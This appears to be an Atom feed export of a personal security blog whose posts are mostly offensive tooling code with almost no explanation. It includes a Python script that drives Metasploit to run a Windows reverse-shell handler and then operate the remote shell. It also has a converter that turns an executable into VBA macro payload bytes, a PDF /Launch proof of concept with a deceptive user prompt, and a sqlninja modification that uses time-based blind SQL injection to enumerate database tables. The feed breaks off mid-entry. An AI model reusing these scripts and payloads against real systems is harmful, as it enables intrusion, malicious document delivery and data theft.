<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-14930118</id><updated>2011-11-27T19:09:46.899-05:00</updated><category term='web security hacking'/><title type='text'>alternative system re:configurations</title><subtitle type='html'>physical, digital and neurochemical reality configs</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>69</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-14930118.post-3201986943929453475</id><published>2010-06-16T14:51:00.003-04:00</published><updated>2010-06-16T14:56:34.235-04:00</updated><title type='text'>python metasploit xmlrpc interface 1.0</title><content type='html'>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;import xmlrpclib&lt;br /&gt;class MSFTransport(xmlrpclib.Transport):&lt;br /&gt;    """Handles an transaction to the MetasploitXML-RPC server."""&lt;br /&gt;&lt;br /&gt;    # client identifier (may be overridden)&lt;br /&gt;    def __init__(self, use_datetime=0):&lt;br /&gt;        self._use_datetime = use_datetime&lt;br /&gt;    def request(self, host, handler, request_body, verbose=0):&lt;br /&gt;        # issue XML-RPC request&lt;br /&gt;        c = self.make_connection(host)&lt;br /&gt;        if verbose:&lt;br /&gt;            h.set_debuglevel(1)&lt;br /&gt;        self.send_content(c, request_body)&lt;br /&gt;        self.verbose = verbose&lt;br /&gt;        return self._parse_response(None, c)&lt;br /&gt;&lt;br /&gt;    def make_connection(self, host):&lt;br /&gt;        import socket&lt;br /&gt;        addr = host.split(":")&lt;br /&gt;        inetaddr = (addr[0],int(addr[1]))&lt;br /&gt;        c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;        c.connect(inetaddr)&lt;br /&gt;        return c&lt;br /&gt;    def send_content(self, connection, request_body):&lt;br /&gt;        if request_body:&lt;br /&gt;            connection.send(request_body + "\0")&lt;br /&gt;    def _parse_response(self, file, sock):&lt;br /&gt;        # read response from input file/socket, and parse it&lt;br /&gt;        p, u = self.getparser()&lt;br /&gt;        while 1:&lt;br /&gt;            if sock:&lt;br /&gt;                response = sock.recv(1024)&lt;br /&gt;            else:&lt;br /&gt;                response = file.read(1024)&lt;br /&gt;            if not response:&lt;br /&gt;                break&lt;br /&gt;            if response.endswith("\0")  :&lt;br /&gt;                response = response.rstrip("\0\n")&lt;br /&gt;                p.feed(response.encode("utf-8"))&lt;br /&gt;                break;&lt;br /&gt;            else:&lt;br /&gt;                p.feed(response.encode("utf-8"))&lt;br /&gt;&lt;br /&gt;        if file:&lt;br /&gt;                file.close()&lt;br /&gt;        p.close()&lt;br /&gt;&lt;br /&gt;        return u.close()&lt;br /&gt;################################&lt;br /&gt;from time import sleep&lt;br /&gt;import base64&lt;br /&gt;import xmlrpclib&lt;br /&gt;#import MSFTransport&lt;br /&gt;msftransport = MSFTransport()&lt;br /&gt;proxy = xmlrpclib.ServerProxy("http://127.0.0.1:55553", transport=msftransport)&lt;br /&gt;&lt;br /&gt;ret = proxy.auth.login("msf","test")&lt;br /&gt;if ret['result'] == 'success':&lt;br /&gt;        token = ret['token']&lt;br /&gt;else:&lt;br /&gt;        print "Could not login\n"&lt;br /&gt;&lt;br /&gt;opts = {&lt;br /&gt;        "RHOST" : "192.168.1.1",&lt;br /&gt;        "LHOST" : "127.0.0.1",&lt;br /&gt;        "LPORT" : 4444,&lt;br /&gt;        "PAYLOAD": "windows/shell_reverse_tcp"}&lt;br /&gt;print "Running exploit now"&lt;br /&gt;ret = proxy.module.execute(token,"exploit","multi/handler",opts)&lt;br /&gt;if(ret['result'] == 'success'):&lt;br /&gt;        print "Exploit sucessful...waiting on session"&lt;br /&gt;sleep(25)&lt;br /&gt;session_list =  proxy.session.list(token)&lt;br /&gt;x = session_list.keys()&lt;br /&gt;&lt;br /&gt;def s_io(s):&lt;br /&gt;        while 1:&lt;br /&gt;         w = raw_input("shell&gt; ")&lt;br /&gt;         if w == "exit":&lt;br /&gt;                break&lt;br /&gt;         write = w + "\n"&lt;br /&gt;         n = proxy.session.shell_write(token,s,base64.b64encode(write))&lt;br /&gt;         read = proxy.session.shell_read(token,s)&lt;br /&gt;         print  base64.b64decode(read['data'])&lt;br /&gt;&lt;br /&gt;if session_list != {} and session_list[x[0]]['type'] == 'shell':&lt;br /&gt;        s =  int(x[0])&lt;br /&gt;        s_io(s)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3201986943929453475?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3201986943929453475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3201986943929453475' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3201986943929453475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3201986943929453475'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2010/06/python-metasploit-xmlrpc-interface-10.html' title='python metasploit xmlrpc interface 1.0'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-4100769589102921009</id><published>2010-04-30T20:00:00.000-04:00</published><updated>2010-04-30T20:02:22.238-04:00</updated><title type='text'>exe2vba.py</title><content type='html'>import struct&lt;br /&gt;import os&lt;br /&gt;import binascii&lt;br /&gt;import win32com.client&lt;br /&gt;import time&lt;br /&gt;&lt;br /&gt;idx = 0&lt;br /&gt;n = 0&lt;br /&gt;maxbytes = 2000&lt;br /&gt;payload_vba_file = "payload.vba" &lt;br /&gt;&lt;br /&gt;exe_name = "putty.exe"&lt;br /&gt;size = os.path.getsize(exe_name)&lt;br /&gt;exe  = open(exe_name)&lt;br /&gt;final_bytes = ""&lt;br /&gt;print "Writing Document ",&lt;br /&gt;while (idx &lt; size):&lt;br /&gt;  exe.seek(idx)&lt;br /&gt;  c = binascii.b2a_hex(exe.read(1))&lt;br /&gt;#  print ("&amp;H%2s" % c.upper()),&lt;br /&gt;  exe_byte = ("&amp;H%2s" % c.upper())&lt;br /&gt;  final_bytes = final_bytes +exe_byte&lt;br /&gt;  idx = idx + 1&lt;br /&gt;  if (idx%2000 == 0):&lt;br /&gt;    print "\bX\b",&lt;br /&gt;    time.sleep(.1)&lt;br /&gt;  if (idx%2000 == 1000):&lt;br /&gt;    print "\bO\b",&lt;br /&gt;    time.sleep(.1)&lt;br /&gt;print final_bytes    &lt;br /&gt;fh = open(payload_vba_file,'w')&lt;br /&gt;fh.write(final_bytes)  &lt;br /&gt;fh.close()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-4100769589102921009?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/4100769589102921009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=4100769589102921009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4100769589102921009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4100769589102921009'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2010/04/exe2vbapy.html' title='exe2vba.py'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-4400275007187070302</id><published>2010-03-31T08:41:00.003-04:00</published><updated>2010-03-31T08:46:52.170-04:00</updated><title type='text'>PDF execute code w/o javascript</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;example code from http://blog.didierstevens.com/2010/03/29/escape-from-pdf/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;%PDF-1.1&lt;br /&gt;&lt;br /&gt;1 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Catalog&lt;br /&gt; /Outlines 2 0 R&lt;br /&gt; /Pages 3 0 R&lt;br /&gt; /OpenAction 8 0 R&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;2 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Outlines&lt;br /&gt; /Count 0&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;3 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Pages&lt;br /&gt; /Kids [4 0 R]&lt;br /&gt; /Count 1&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;4 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Page&lt;br /&gt; /Parent 3 0 R&lt;br /&gt; /MediaBox [0 0 612 792]&lt;br /&gt; /Contents 5 0 R&lt;br /&gt; /Resources&lt;br /&gt; &lt;&lt; /ProcSet 6 0 R&lt;br /&gt;    /Font &lt;&lt; /F1 7 0 R &gt;&gt;&lt;br /&gt; &gt;&gt;&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;5 0 obj&lt;br /&gt;&lt;&lt; /Length 46 &gt;&gt;&lt;br /&gt;stream&lt;br /&gt;BT&lt;br /&gt;/F1 24 Tf&lt;br /&gt;100 700 Td&lt;br /&gt;(Hello World)Tj&lt;br /&gt;ET&lt;br /&gt;endstream&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;6 0 obj&lt;br /&gt;[/PDF /Text]&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;7 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Font&lt;br /&gt; /Subtype /Type1&lt;br /&gt; /Name /F1&lt;br /&gt; /BaseFont /Helvetica&lt;br /&gt; /Encoding /MacRomanEncoding&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;8 0 obj&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Type /Action&lt;br /&gt; /S /Launch&lt;br /&gt; /Win&lt;br /&gt; &lt;&lt;&lt;br /&gt;  /F (calc.exe)&lt;br /&gt;  /P (\nTo continue viewing the encrypted content\nplease click the “Don’t show this message again” box\nand press OK!)&lt;br /&gt; &gt;&gt;&lt;br /&gt;&gt;&gt;&lt;br /&gt;endobj&lt;br /&gt;&lt;br /&gt;xref&lt;br /&gt;0 9&lt;br /&gt;0000000000 65535 f&lt;br /&gt;0000000012 00000 n&lt;br /&gt;0000000109 00000 n&lt;br /&gt;0000000165 00000 n&lt;br /&gt;0000000234 00000 n&lt;br /&gt;0000000401 00000 n&lt;br /&gt;0000000505 00000 n&lt;br /&gt;0000000662 00000 n&lt;br /&gt;trailer&lt;br /&gt;&lt;&lt;&lt;br /&gt; /Size 9&lt;br /&gt; /Root 1 0 R&lt;br /&gt;&gt;&gt;&lt;br /&gt;startxref&lt;br /&gt;751&lt;br /&gt;%%EOF&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-4400275007187070302?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/4400275007187070302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=4400275007187070302' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4400275007187070302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4400275007187070302'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2010/03/pdf-execute-code-wo-javascript.html' title='PDF execute code w/o javascript'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5783543634196784284</id><published>2009-12-04T19:42:00.000-05:00</published><updated>2009-12-04T19:45:37.981-05:00</updated><title type='text'>metasploit xmlrpc stub</title><content type='html'># xmlrpc interface to metasploit&lt;br /&gt;&lt;br /&gt;import xmlrpclib&lt;br /&gt;import socket&lt;br /&gt;import telnetlib&lt;br /&gt;from xml.dom import minidom&lt;br /&gt;&lt;br /&gt;tn = telnetlib.Telnet(&amp;quot;127.0.0.1&amp;quot;,55553)&lt;br /&gt;s = tn.get_socket()&lt;br /&gt;&lt;br /&gt;params = ( 'msf', 'test' )&lt;br /&gt;tuple_params = tuple([params])&lt;br /&gt;&lt;br /&gt;xmlrpccall = xmlrpclib.dumps(params, 'auth.login',None,'UTF-8')&lt;br /&gt;i = xmlrpccall.replace('\n','')&lt;br /&gt;&lt;br /&gt;tn.write(i+&amp;quot;\n\0&amp;quot;)&lt;br /&gt;data = s.recv(2048)&lt;br /&gt;&lt;br /&gt;data = data.replace('\n\0','')&lt;br /&gt;#print data&lt;br /&gt;n = minidom.parseString(data)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print n.toxml()&lt;br /&gt;print n.childNodes[0].toxml()&lt;br /&gt;print n.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].childNodes[1].childNodes[0].firstChild.data&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5783543634196784284?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5783543634196784284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5783543634196784284' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5783543634196784284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5783543634196784284'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/12/metasploit-xmlrpc-stub.html' title='metasploit xmlrpc stub'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6244082389669884318</id><published>2009-11-18T10:44:00.002-05:00</published><updated>2009-11-18T10:51:47.629-05:00</updated><title type='text'>patch to import_burp.rb</title><content type='html'>&lt;span style="font-size:78%;"&gt;&lt;span style="font-size:85%;"&gt;small update to &lt;a href="pentest.cryptocity.net/files/student_work/projects/import_burp.rb"&gt;import_burp.rb&lt;/a&gt;  script from Jonathan Voris to deal with recent changes in burp log format&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;cite&gt;&lt;/cite&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;*** import_burp.rb Mon Oct 26 14:13:09 2009&lt;br /&gt;--- import_burp2.rb Wed Nov 18 10:38:59 2009&lt;br /&gt;***************&lt;br /&gt;*** 51,57 ****&lt;br /&gt;hostRegex = /(http|https)?:\/\/(\S+):(\d+)/&lt;br /&gt;#From http://www.regular-expressions.info/examples.html&lt;br /&gt;ipAddrRegex = /\[(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)\]/&lt;br /&gt;! methodRegex = /(HEAD|GET|POST|PUT|DELETE|TRACE|OPTIONS|CONNECT) \/([^\?]*)\?*(\S*) /&lt;br /&gt;responseRegex = /^HTTP\/\d.\d (\d\d\d)/&lt;br /&gt;&lt;br /&gt;#Open the database file&lt;br /&gt;--- 51,58 ----&lt;br /&gt;hostRegex = /(http|https)?:\/\/(\S+):(\d+)/&lt;br /&gt;#From http://www.regular-expressions.info/examples.html&lt;br /&gt;ipAddrRegex = /\[(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)\]/&lt;br /&gt;! methodRegex = /(HEAD|GET|POST|PUT|DELETE|TRACE|OPTIONS|CONNECT) .*\/([^\?]*)\?*(\S*) /&lt;br /&gt;! removeJunkRegex = /UTF\-\d+/&lt;br /&gt;responseRegex = /^HTTP\/\d.\d (\d\d\d)/&lt;br /&gt;&lt;br /&gt;#Open the database file&lt;br /&gt;***************&lt;br /&gt;*** 193,198 ****&lt;br /&gt;--- 194,202 ----&lt;br /&gt;                puts("Skipping this entry: neither the host name nor the IP address match the specified target.")&lt;br /&gt;            else&lt;br /&gt;                #set the values in the query&lt;br /&gt;+     &lt;br /&gt;+       responseBody.gsub!(removeJunkRegex, "")&lt;br /&gt;+     &lt;br /&gt;                dbQuery.bind_param("host", ipAddr)&lt;br /&gt;                dbQuery.bind_param("port", port)&lt;br /&gt;                dbQuery.bind_param("ssl", ssl)  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6244082389669884318?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6244082389669884318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6244082389669884318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6244082389669884318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6244082389669884318'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/11/patch-to-importburprb.html' title='patch to import_burp.rb'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1496101889174708337</id><published>2009-11-02T21:57:00.003-05:00</published><updated>2009-11-02T22:01:02.525-05:00</updated><title type='text'>python binary file patch script</title><content type='html'>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;"""&lt;br /&gt;simple script to patch a binary file&lt;br /&gt;"""&lt;br /&gt;import sys,os&lt;br /&gt;from binascii import *&lt;br /&gt;import re&lt;br /&gt;def read_bytes(filename,start_address,number_of_bytes):&lt;br /&gt;    fh = open(filename,'rb')&lt;br /&gt;    fh.seek(start_address)&lt;br /&gt;    data = fh.read(number_of_bytes)&lt;br /&gt;    fh.close()&lt;br /&gt;    return hexlify(data)&lt;br /&gt;def replace_bytes(filename,search,replace):&lt;br /&gt;    output = filename + ".patched"&lt;br /&gt;    o = open(output,wb)&lt;br /&gt;    data = open(filename).read() &lt;br /&gt;    o.write(re.sub(a2b_hex(search),a2b_hex(replace),data) )&lt;br /&gt;    o.close()&lt;br /&gt;def write_bytes(filename,start_address,newbytes):&lt;br /&gt;    output = filename + ".patched"   &lt;br /&gt;    fh = open(output,'wb')&lt;br /&gt;    newbytes_hex = a2b_hex(newbytes)&lt;br /&gt;    bytesize  = len(newbytes_hex)/2  #read data up to the start address&lt;br /&gt;    end_address = start_address + bytesize&lt;br /&gt;    for i in open(filename,'rb').read():&lt;br /&gt;        t = fh.tell()&lt;br /&gt;        if t &lt; start_address or t &gt; end_address: &lt;br /&gt;            fh.write(i)&lt;br /&gt;            #print fh.tell()&lt;br /&gt;        else:&lt;br /&gt;            fh.write(newbytes_hex)&lt;br /&gt;            #print  "patched " + output +" with " + newbytes + " starting at " + hex(t) &lt;br /&gt;    fh.flush()&lt;br /&gt;    fh.close()&lt;br /&gt;def main(name,address,bytes):&lt;br /&gt;    size = len(bytes)/2&lt;br /&gt;    print "before " + read_bytes(name,address,size)&lt;br /&gt;    write_bytes(name,address,bytes)&lt;br /&gt;    print "after  " + read_bytes(name+".patched",address,size)&lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;    f = "test.exe"   &lt;br /&gt;    a = 0x0003113&lt;br /&gt;    w = "DEADBEEF"  &lt;br /&gt;    main(f,a,w)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1496101889174708337?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1496101889174708337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1496101889174708337' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1496101889174708337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1496101889174708337'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/11/usrbinpython-simple-script-to-patch.html' title='python binary file patch script'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-31925827893963882</id><published>2009-10-05T11:08:00.001-04:00</published><updated>2009-10-05T11:10:38.018-04:00</updated><title type='text'>sqlninja mod</title><content type='html'>sub fingerprint_db (diff)&lt;br /&gt;{&lt;br /&gt;       my $word1 = "if ascii(substring((select db_name()),";&lt;br /&gt;        my $word2 = ",1)) &lt; ";&lt;br /&gt;        my $word3 = " waitfor delay '0:0:".$blindtime."';";&lt;br /&gt;&lt;br /&gt;        my $len1 = "if (select len(db_name())) &lt; ";&lt;br /&gt;        my $len2 = " waitfor delay '0:0:".$blindtime."';";&lt;br /&gt;&lt;br /&gt;        local $/=\1;&lt;br /&gt;        local $|=1;&lt;br /&gt;&lt;br /&gt;        print "[+] Checking whether we are in master db...\n";&lt;br /&gt;        $query = "if not(select db_name()) &lt;&gt; 'master' waitfor delay '0:0:"&lt;br /&gt;                                                        .$blindtime."'";&lt;br /&gt;}&lt;br /&gt;#####################&lt;br /&gt;sub fingerprint_tables&lt;br /&gt;{&lt;br /&gt;        my $minlen = 0;&lt;br /&gt;        my $maxlen = 30;&lt;br /&gt;        my $len = -1;&lt;br /&gt;        my $candidate;&lt;br /&gt;        my $query;&lt;br /&gt;        my $delay;&lt;br /&gt;        my $number_of_tables2 = "  waitfor delay '0:0:".$blindtime."';";&lt;br /&gt;&lt;br /&gt;my $number_of_tables = "if (SELECT LTRIM(STR(COUNT(name))) FROM sysobjects WHERE xtype IN ('u', 'v')) &lt; "; #### expect an interation after this  &lt;br /&gt;&lt;br /&gt;        my $word1 = "if ascii(substring(( SELECT TOP 1 name FROM sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP "; ### expect $number of tables&lt;br /&gt;        my $word15 = " name FROM sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC), ";&lt;br /&gt;        my $word2 = ",1)) &lt; ";&lt;br /&gt;        my $word3 = " waitfor delay '0:0:".$blindtime."';";&lt;br /&gt;        my $size;&lt;br /&gt;        local $/=\1;&lt;br /&gt;        local $|=1;&lt;br /&gt;&lt;br /&gt;###############&lt;br /&gt; $delay = 0; $len = 30;&lt;br /&gt;################&lt;br /&gt;        if ($delay &gt; ($blindtime - 2)) {&lt;br /&gt;                print "  We seem to be in the master db :)\n";&lt;br /&gt;                return 1;&lt;br /&gt;        } else {&lt;br /&gt;                print "  Getting the number of tables\n";&lt;br /&gt;                print "[+] Finding tables length... \n";&lt;br /&gt;                my $number = 0;  #set the start number of dbs&lt;br /&gt;                while ($number &lt; $maxlen) {&lt;br /&gt;   $query = $number_of_tables.$number.$number_of_tables2;&lt;br /&gt;                        $delay=tryblind($query);&lt;br /&gt;   if ($delay &lt; $blindtime - 2) {&lt;br /&gt;             $number++;&lt;br /&gt;   } else {  &lt;br /&gt;      $size = $number -1; &lt;br /&gt;      $number=$maxlen;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;                print "  Got it ! There are ".$size." tables \n";&lt;br /&gt;                print "[+] Now going for the tablenames........\n";&lt;br /&gt;                my $asciinum = -1;&lt;br /&gt;                my $charnum;&lt;br /&gt;                my $minchar;&lt;br /&gt;                my $maxchar;&lt;br /&gt;                my $tb_num;&lt;br /&gt;  my $no_of_tb;&lt;br /&gt;        ### set no of tables == $len&lt;br /&gt; $no_of_tb = $len;&lt;br /&gt;        for ($tb_num=0;$tb_num&lt;=$no_of_tb;$tb_num++) {&lt;br /&gt;                print "  Name of table ".$tb_num." is....: ";&lt;br /&gt;          #### loop through each table&lt;br /&gt;&lt;br /&gt;                for ($charnum=1; $charnum&lt;=$len; $charnum++) {&lt;br /&gt;                       $minchar=32;&lt;br /&gt;                       $maxchar=126;&lt;br /&gt;                       while ($asciinum &lt; 0 ) {&lt;br /&gt;                                $candidate = int(($minchar+$maxchar)/2);&lt;br /&gt;                                $query=$word1.$tb_num.$word15.$charnum.$word2.$candidate.$word3;&lt;br /&gt;                                $delay=tryblind($query);&lt;br /&gt;                                if (($maxchar-$minchar) &gt; 1) {&lt;br /&gt;                                        if ($delay &lt; $blindtime - 2) {&lt;br /&gt;                                                $minchar=$candidate;&lt;br /&gt;                                        } else {&lt;br /&gt;                                                $maxchar=$candidate;&lt;br /&gt;                                        }&lt;br /&gt;                                        if ($minchar==$maxchar) {&lt;br /&gt;                                                $asciinum=$minchar;&lt;br /&gt;                                        }&lt;br /&gt;                                } else {&lt;br /&gt;                                        if ($delay &lt; $blindtime - 2) {&lt;br /&gt;                                                $asciinum=$maxchar-1;&lt;br /&gt;                                        } else {&lt;br /&gt;                                                $asciinum=$minchar;&lt;br /&gt;                                        }&lt;br /&gt;                                }&lt;br /&gt;                        }&lt;br /&gt;   ### if you see this char number stop&lt;br /&gt;   if ($asciinum == 125) { &lt;br /&gt;           print "\n"; &lt;br /&gt;    return 0; &lt;br /&gt;    &lt;br /&gt;   }&lt;br /&gt;                        printf("%c",$asciinum);&lt;br /&gt;                        #print($asciinum);&lt;br /&gt;                        $asciinum=-1;&lt;br /&gt;                }&lt;br /&gt;                print "\n";&lt;br /&gt;        } ### end while &lt;br /&gt;        return 0;&lt;br /&gt;} ### end  for&lt;br /&gt;} ### end for&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-31925827893963882?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/31925827893963882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=31925827893963882' 